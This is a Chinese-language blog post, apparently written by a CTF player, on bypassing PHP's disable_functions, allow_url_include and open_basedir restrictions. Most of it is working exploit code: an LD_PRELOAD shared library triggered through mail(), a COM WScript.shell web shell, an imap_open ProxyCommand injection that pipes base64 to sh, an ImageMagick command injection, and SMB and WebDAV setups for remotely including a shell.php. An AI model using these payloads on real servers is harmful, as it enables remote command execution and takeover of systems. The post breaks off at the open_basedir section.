本篇博客介绍了绕过一些php配置的方法!

bypass disable_functions

顾名思义,disable_functions即不能使用的php函数

LD_PRELOAD

LD_PRELOAD是Linux中的环境变量,可以设置成一个指定库的路径,动态链接时较其他库有着更高的优先级,允许预加载指定库中的函数和符号覆盖掉后续链接的库中的函数和符号

php的mail()函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,而/usr/sbin/sendmail会调用getuid()。如果我们能通过LD_PRELOAD的方式来劫持getuid(),再用mail()函数来触发sendmail程序进而执行被劫持的getuid(),从而就能执行恶意代码了

捋下思路:

  1. 编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 evil.so
  2. 运行 PHP 函数 putenv(),设定环境变量 LD_PRELOADevil.so,以便后续启动新进程时优先加载该共享对象
  3. 运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 evil.so 中的同名 getuid() 所劫持
  4. 达到不调用 PHP 的各种命令执行函数(system()exec() 等等)仍可执行系统命令的目的

怎样编写一个共享库文件呢?

编写test.c

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int geteuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}

编译生成共享库文件:

gcc -shared -fPIC test.c -o test.so

绕过disable_functions github上有个项目

EXP地址:https://github.com/l3m0n/Bypass_Disable_functions_Shell

这里面的仓库里有编译生成好的共享库文件,可以直接使用,通过设置EVIL_CMDLINE来执行系统命令

php利用代码:

1
2
3
4
5
<?php 
putenv('EVIL_CMDLINE='.'cd /%26%26./readflag > /tmp/moonback1 2>%261'); //EVIL_CMDLINE=shell命令,并将结果输出到一个文件
putenv('LD_PRELOAD='.'/tmp/bypass_disablefunc_x64.so'); //LD_PRELOAD=动态加载库的位置
mail('', '', '', ''); //用mail函数触发
?>

这上面有道题(RCE me)我用的就是用的这种方法http://www.moonback.xyz/2019/11/06/syc-ctf-wp/

COM组件

需要php配置里开启com.allow_dcom,在php/ext/里面查找是否存在php_com_dotnet.dll这个文件

extension=php_com_dotnet.dll

com.allow_dcom = true

EXP:

1
2
3
4
5
6
7
8
9
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

这里创建一个COM对象,然后通过调用COM对象的exec()方法来实现执行系统命令,从而绕过disable_functions禁用PHP命令执行函数的限制

imap_open(CVE-2018-19518)

在php.ini中开启imap.enable_insecure_rsh选项为On

具体原理参见这位大佬的博客:https://www.mi1k7ea.com/2019/06/02/浅谈几种Bypass-disable-functions的方法/#0x07-利用imap-open-绕过

EXP:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump("\n\nError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>

ImageMagick

这里直接上EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";
$data_file = tempnam('/tmp', 'img');
$imagick_file = tempnam('/tmp', 'img');
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
pop graphic-context
EOF;
file_put_contents("$imagick_file", $exploit);
$thumb = new Imagick();
$thumb->readImage("$imagick_file");
$thumb->writeImage(tempnam('/tmp', 'img'));
$thumb->clear();
$thumb->destroy();
echo file_get_contents($data_file);
?>

bypass allow_url_include

all_url_include即是否允许远程包含,默认关闭

SMB服务

安装SAMBA服务器

apt-get install samba

创建共享目录

mkdir /smb
chmod 0555 /smb/
chown -R nobody:nogroup /smb/

配置SAMBA服务器配置文件

echo > /etc/samba/smb.conf

其中写入以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ethan]
path = /smb
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

重启服务

service smbd restart 

访问就可以通过\\192.168.23.129\ethan\shell.php

Webdav

可以在docker里搭一个

docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 8000:80 --rm --name webdav bytemark/webdav

然后把php文件放到/root/webdav/data/里面,包含//ip:8000//webdav/shell.php就行

bypass open_basedir

open_basedir即用来对用户访问文件的活动范围限制在指定的区域

具体内容可以参见大佬的博客https://www.mi1k7ea.com/2019/07/20/浅谈几种Bypass-open-basedir的方法/

glob://伪协议

评论